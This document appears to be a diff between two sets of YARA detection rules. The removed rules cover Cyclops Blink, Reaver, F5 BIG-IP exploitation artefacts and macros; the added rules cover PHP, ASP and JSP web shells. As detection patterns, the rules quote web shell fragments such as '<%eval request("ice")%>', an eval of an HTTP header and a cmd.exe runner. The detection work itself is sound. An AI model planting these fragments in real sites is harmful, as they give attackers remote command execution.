-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$cmd_check = {81 3F 00 18 88 09 00 05 54 00 06 3E 2F 80 00 (07|0A|0B|0C|0D) }
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
 
 	condition:
-		( uint32(0)==0x464c457f) and (#cmd_check==5)
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Config_Identifiers : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_12302
 {
 	meta:
-		description = "Detects the initial characters used to identify Cyclops Blink configuration data"
-		author = "NCSC"
-		id = "db5b3a4a-82c2-500a-88f6-340b3392eac8"
-		date = "2022-02-23"
+		description = "Web Shell - file 12302.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L106-L126"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fa39442d717a69dd6f31a4bb2e5865c3f16156ce24a2b419d95ed751bb0d8ee"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L170-L185"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a3930518ea57d899457a62f372205f7f"
+		logic_hash = "0959a138abc791f17344e25e84b24888ddfe238981fc7e3ffd76c0390006ea46"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {3C 00 3C 6B 60 00 3A 20 90 09 00 00}
-		$ = {3C 00 3C 63 60 00 3A 20 90 09 00 00}
-		$ = {3C 00 3C 73 60 00 3A 20 90 09 00 00}
+		$s0 = "</font><%out.print(request.getRealPath(request.getServletPath())); %>" fullword
+		$s1 = "<%@page import=\"java.io.*,java.util.*,java.net.*\"%>" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
 
 	condition:
-		( uint32(0)==0x464c457f) and ( all of them )
+		all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Handle_Mod_0Xf_Command : FILE
+rule SIGNATURE_BASE_Webshell_Caidao_Shell_Guo
 {
 	meta:
-		description = "Detects the code bytes used to check module ID 0xf control flags and a format string used for file content upload"
-		author = "NCSC"
-		id = "36646b7a-389d-5fd9-88a1-e43e7224763a"
-		date = "2022-02-23"
+		description = "Web Shell - file guo.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L128-L150"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6e3eebe404c8cd24e1e16eb3c881b1eda78ba6b365bf89c2557329e6f89396ac"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L186-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9e69a8f499c660ee0b4796af14dc08f0"
+		logic_hash = "efb7055f42dd6be41ea3983cacea1a70b83675c8ebcb88ae3b250066a29e94eb"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {54 00 06 3E 54 00 07 FE 54 00 06 3E 2F 80 00 00}
-		$ = {54 00 06 3E 54 00 07 BC 2F 80 00 00}
-		$ = {54 00 06 3E 54 00 07 7A 2F 80 00 00}
-		$ = {54 00 06 3E 54 00 06 F6 2F 80 00 00}
-		$ = "file:%s\n" fullword
+		$s0 = "<?php ($www= $_POST['ice'])!"
+		$s1 = "@preg_replace('/ad/e','@'.str_rot13('riny').'($ww"
 
 	condition:
-		( uint32(0)==0x464c457f) and ( all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Default_Config_Values : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Redcod
 {
 	meta:
-		description = "Detects the code bytes used to set default Cyclops Blink configuration values"
-		author = "NCSC"
-		id = "04067609-1173-51f2-907f-2a236aae6c7c"
-		date = "2022-02-23"
+		description = "Web Shell - file redcod.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L152-L174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "180993057c110c0c0327b673c6d6e251534012de51cf6475838691e0942a1aa8"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L201-L215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5c1c8120d82f46ff9d813fbe3354bac5"
+		logic_hash = "eddfd90d27793756bcc685ffe33b2dabc3bb28b9654c33a0f99359e8b6f13678"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {38 00 00 19 90 09 01 A4}
-		$ = {3C 00 00 01 60 00 80 00 90 09 01 A8}
-		$ = {38 00 40 00 90 09 01 AC}
-		$ = {38 00 01 0B 90 09 01 B0}
-		$ = {38 00 27 11 90 09 01 C0}
+		$s0 = "H8p0bGFOEy7eAly4h4E4o88LTSVHoAglJ2KLQhUw" fullword
+		$s1 = "HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm" fullword
 
 	condition:
-		( uint32(0)==0x464c457f) and (3 of them )
+		all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Handle_Mod_0X51_Command : FILE
+rule SIGNATURE_BASE_Webshell_Remview_Fix
 {
 	meta:
-		description = "Detects the code bytes used to check commands sent to module ID 0x51 and notable strings relating to the Cyclops Blink update process"
-		author = "NCSC"
-		id = "a6800aed-27dc-5d01-b005-1eb4a62344a3"
-		date = "2022-02-23"
+		description = "Web Shell - file remview_fix.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L176-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a68f4a5f5b7a45819e9a198881aa41b75a65181b63788c8b824b339bfd6fc67"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L216-L230"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a24b7c492f5f00e2a19b0fa2eb9c3697"
+		logic_hash = "0b29ef74fb0786aefe99281360dc4fe27005eac345a36bc14259afa6fc555303"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$cmd_check = {88 1F [2] 54 00 06 3E 2F 80 00 (01|02|03) }
-		$path1 = "/etc/wg/configd-hash.xml"
-		$path2 = "/etc/wg/config.xml"
-		$mnt_arg1 = "ext2"
-		$mnt_arg2 = "errors=continue"
-		$mnt_arg3 = {38 C0 0C 20}
-		$mnt_arg4 = {38 C0 0C 21}
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+		$s5 = "echo \"<P><hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n"
 
 	condition:
-		( uint32(0)==0x464c457f) and (#cmd_check==3) and ((@cmd_check[3]-@cmd_check[1])<0x200) and ( all of ($path*)) and ( all of ($mnt_arg*))
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reaver3_Malware_Nov17_1 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Cmd
 {
 	meta:
-		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+		description = "Web Shell - file cmd.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "95419d6f-b657-53c4-840d-9a9e9b00787e"
-		date = "2017-11-11"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_reaver_sunorcal.yar#L14-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa141a1d3868bd4a004794bf51dc20086eb2e1446e1fa374834a6f2d84940c0d"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L231-L246"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "895ca846858c315a3ff8daa7c55b3119"
+		logic_hash = "8e72b54267c2f83b288cdd43ccd56ae4ab1f95c17f4dde077e637d951df54866"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1"
 
 	strings:
-		$s1 = "CPL.dll" fullword ascii
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s3 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="e722dd50a0e2bc0cab8ca35fc4bf6d99" and all of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reaver3_Malware_Nov17_2 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Sh_Server
 {
 	meta:
-		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+		description = "Web Shell - file server.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "423ae050-5087-528e-be0a-c612024dc70a"
-		date = "2017-11-11"
-		modified = "2023-01-06"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_reaver_sunorcal.yar#L29-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f987876dae35d17fb3ac0d4d3cfe1e00f8977aa696194cc48e53ac1db9d55fca"
-		score = 75
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L247-L260"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d87b019e74064aa90e2bb143e5e16cfa"
+		logic_hash = "9f4d940a381e7bd298a252f485d5f1d26fd191c27f6e86e8fa6028237592a8c3"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		hash1 = "9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b"
-		hash2 = "98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "WindowsUpdateReaver" fullword wide
-		$s1 = "\\WUpdate.~tmp" ascii
-		$s2 = "\\~WUpdate.lnk" ascii
-		$s3 = "\\services\\" ascii
-		$s4 = "moomjufps" fullword ascii
-		$s5 = "gekmomkege" fullword ascii
+		$s0 = "eval(getenv('HTTP_CODE'));" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="837cc5062a0758335b257ea3b27972b2" or 1 of ($x*) or 3 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reaver3_Malware_Nov17_3 : FILE
+rule SIGNATURE_BASE_Webshell_PH_Vayv_PH_Vayv
 {
 	meta:
-		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+		description = "Web Shell - file PH Vayv.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc2511a9-8938-5f4d-9802-f73e44609bf9"
-		date = "2017-11-11"
-		modified = "2023-01-06"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_reaver_sunorcal.yar#L55-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32654255102aee872402b0910422701f3cd4d0b2b8fc6e83440f325923ab9e2f"
-		score = 75
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L261-L275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "35fb37f3c806718545d97c6559abd262"
+		logic_hash = "8769400b7b6828849f27092d790d291721c7e1b39dfd2080de5da8e59dd25523"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92"
-		hash2 = "c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d"
-		hash3 = "c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c"
-		hash4 = "1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1"
-		hash5 = "d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "winhelp.dat" fullword ascii
-		$s2 = "\\microsoft\\Credentials\\" ascii
-		$s3 = "~Update.lnk" fullword ascii
-		$s4 = "winhelp.cpl" fullword ascii
-		$s5 = "\\services\\" ascii
+		$s0 = "style=\"BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px in"
+		$s4 = "<font color=\"#858585\">SHOPEN</font></a></font><font face=\"Verdana\" style"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="8ee521b2316ddd6af1679eac9f5ed77b" or 4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sunorcal_Malware_Nov17_1 : FILE
+rule SIGNATURE_BASE_Webshell_Caidao_Shell_Ice
 {
 	meta:
-		description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+		description = "Web Shell - file ice.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d8a21570-d1d6-52c3-abb2-ecaa86eb7ff0"
-		date = "2017-11-11"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_reaver_sunorcal.yar#L82-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "88e6280c04b12b1d8530bafb44afc180685550f1f6bcefb731b3247f6a9529a2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L276-L289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6560b436d3d3bb75e2ef3f032151d139"
+		logic_hash = "d92cc9ac8630b40f23b9ff7cda5a237b4885d30de4b9b497be7512e7eb020a09"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f"
-		hash2 = "799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac"
-		hash3 = "38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb"
 
 	strings:
-		$x1 = "kQZ6l5t1kAlsjmBzsCZPrSpQn5tFrChLtTdsgTlOsClKt5pBsDdFrSVshnxMr6ZOpn9slndBsy1jq6lIr216rSNApn9P" fullword ascii
-		$x2 = { 00 00 00 00 00 00 00 00 00 00 00 00 21 21 21 73
-              79 73 74 65 6D 00 00 00 00 00 00 00 00 00 00 00 }
-		$x3 = "!!!url!!!" fullword ascii
-		$x4 = "h4NcbkdLrCpFpPQ=" fullword ascii
-		$x5 = "GloablCryptNv1" fullword ascii
-		$x6 = "Gloabl\\CryptNv1" fullword ascii
+		$s0 = "<%eval request(\"ice\")%>" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_LOG_F5_BIGIP_Exploitation_Artefacts_CVE_2021_22986_Mar21_1 : LOG
+rule SIGNATURE_BASE_Webshell_Cihshell_Fix
 {
 	meta:
-		description = "Detects forensic artefacts indicating successful exploitation of F5 BIG IP appliances as reported by NCCGroup"
+		description = "Web Shell - file cihshell_fix.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e109ebeb-e5c3-5999-95dc-0963ed8461a6"
-		date = "2021-03-20"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_f5_bigip_cve_2021_22986_log.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "748bb429d4a086e2890773558ea502ef06f507aed5f0f70470e2cd97a3fd5007"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L290-L304"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3823ac218032549b86ee7c26f10c4cb5"
+		logic_hash = "59ae76d6828d8c0ddcbafa19063e6dcf25c826386f46df2b8f9674b628365a2b"
+		score = 70
 		quality = 85
-		tags = "LOG"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "\",\"method\":\"POST\",\"uri\":\"http://localhost:8100/mgmt/tm/util/bash\",\"status\":200," ascii
-		$x2 = "[com.f5.rest.app.RestServerServlet] X-F5-Auth-Token doesn't have value, so skipping" ascii
+		$s7 = "<tr style='background:#242424;' ><td style='padding:10px;'><form action='' encty"
+		$s8 = "if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhos"
 
 	condition:
 		1 of them
 }
-rule SIGNATURE_BASE_Gen_Macro_Shellexecute_Action : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Shell
 {
 	meta:
-		description = "VBA macro technique to call ShellExecute to launch payload"
-		author = "John Lambert @JohnLaTwC"
-		id = "4ae3d3d9-de4a-5c5c-9a4a-bedc80b576be"
-		date = "2019-01-08"
+		description = "Web Shell - file shell.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ItsReallyNick/status/1091170625698316288"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_macro_ShellExecute_action.yar#L1-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "da40175579f7d76d10ad0188851f111ba5d875ce990b2940166dd28eac2a742d"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L305-L319"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e63f5a96570e1faf4c7b8ca6df750237"
+		logic_hash = "5cc698e4ff23ca296b339589d12c24e67c99272e73445604a4552d3023e19636"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		note = "This rule only works on VT or systems that perform macro subfile extraction"
-		hash1 = "0878eec9ecae493659e42c1d87588573c1e6fc30acf7a59e6fdb5296b1c198ef"
-		hash2 = "a0963ac15339c9803b4355fd71b68bf6ddedad960d5b3ad40bae873263470191"
-		hash3 = "dd094e44a817604596d1ab06ca6e9597d49ca0a2cbe9239c73ceaad70265ec2a"
-		hash4 = "7b9094ea41e89379c7048ef784ef494c4597ea0d31b707dcb9c8495f241f5fb0"
-		hash5 = "35d8242726b905882bbfcf2770f84cb6f40552e76bff8fb0082ca10de3d61e54"
-		hash6 = "bf9ff20d814bf21d46a22abbd7a8ad0276145807f9adf8d2787df9e3fce3f35d"
-		hash7 = "77966004fcbff147f6923b3405ad9ad4e1dda42d0931564d0cdc4c7e1c91106a"
-		hash8 = "c77c8033a1e5f694fa119dd7f78811f6015726822121b9414fc01e7de8770447"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$com1a = "00A0C91F3880"
-		$com1b = "C08AFD90"
-		$com2a = "00A0C90A8F39"
-		$com2b = "9BA05972"
-		$s3 = "ShellExecute" fullword
-		$s4 = "GetObject" fullword
+		$s7 = "<input type=\"submit\" name=\"Send\" value=\"GO!\">" fullword
+		$s8 = "<TEXTAREA NAME=\"1988\" ROWS=\"18\" COLS=\"78\"></TEXTAREA>" fullword
 
 	condition:
-		filesize <1MB and ( uint32be(0)==0x41747472 or uint32be(0)==0x61747472 or uint32be(0)==0x41545452) and all of ($s*) and ( all of ($com1*) or all of ($com2*))
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_Gobfuscate_May21 : FILE
+rule SIGNATURE_BASE_Webshell_Private_I3Lue
 {
 	meta:
-		description = "Identifies binaries obfuscated with gobfuscate"
-		author = "James Quinn, Paul Hager (merged with new similar pattern)"
-		id = "ae518296-b1c3-568c-bae0-3e0a6f7600ba"
-		date = "2021-05-14"
-		modified = "2024-04-02"
-		reference = "https://github.com/unixpickle/gobfuscate"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_gobfuscate.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f71078dd6354a482a2ead2f0d25f4172cd40e62440a70c2da7916b68f26909a3"
+		description = "Web Shell - file Private-i3lue.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L320-L333"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "13f5c7a035ecce5f9f380967cf9d4e92"
+		logic_hash = "274586f2c451eda45c3a52b615961dbba806f8d25e34cc358e661fcfd1143d08"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? 31 D? [0-1] 88 ?? ?? ?? 48 FF C? 48 83 F? ?? 7C E6 48 }
-		$s2 = { 0F B6 ?? ?? ?? 31 DA 88 ?? ?? ?? 40 83 ?? ?? 7D 09 0F B6 }
+		$s8 = "case 15: $image .= \"\\21\\0\\"
 
 	condition:
-		filesize <50MB and any of them
+		all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_Ivanti_EPMM_Mobileiron_Core_CVE_2023_35078_Jul23_1 : CVE_2023_35078
+rule SIGNATURE_BASE_Webshell_Php_Up
 {
 	meta:
-		description = "Detects the successful exploitation of Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core CVE-2023-35078"
-		author = "Florian Roth"
-		id = "44cca0b5-3851-5786-82fd-ce3ccb566453"
-		date = "2023-07-25"
+		description = "Web Shell - file up.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Ivanti Endpoint Manager Mobile (EPMM) CVE-2023-35078 - Analysis Guidance"
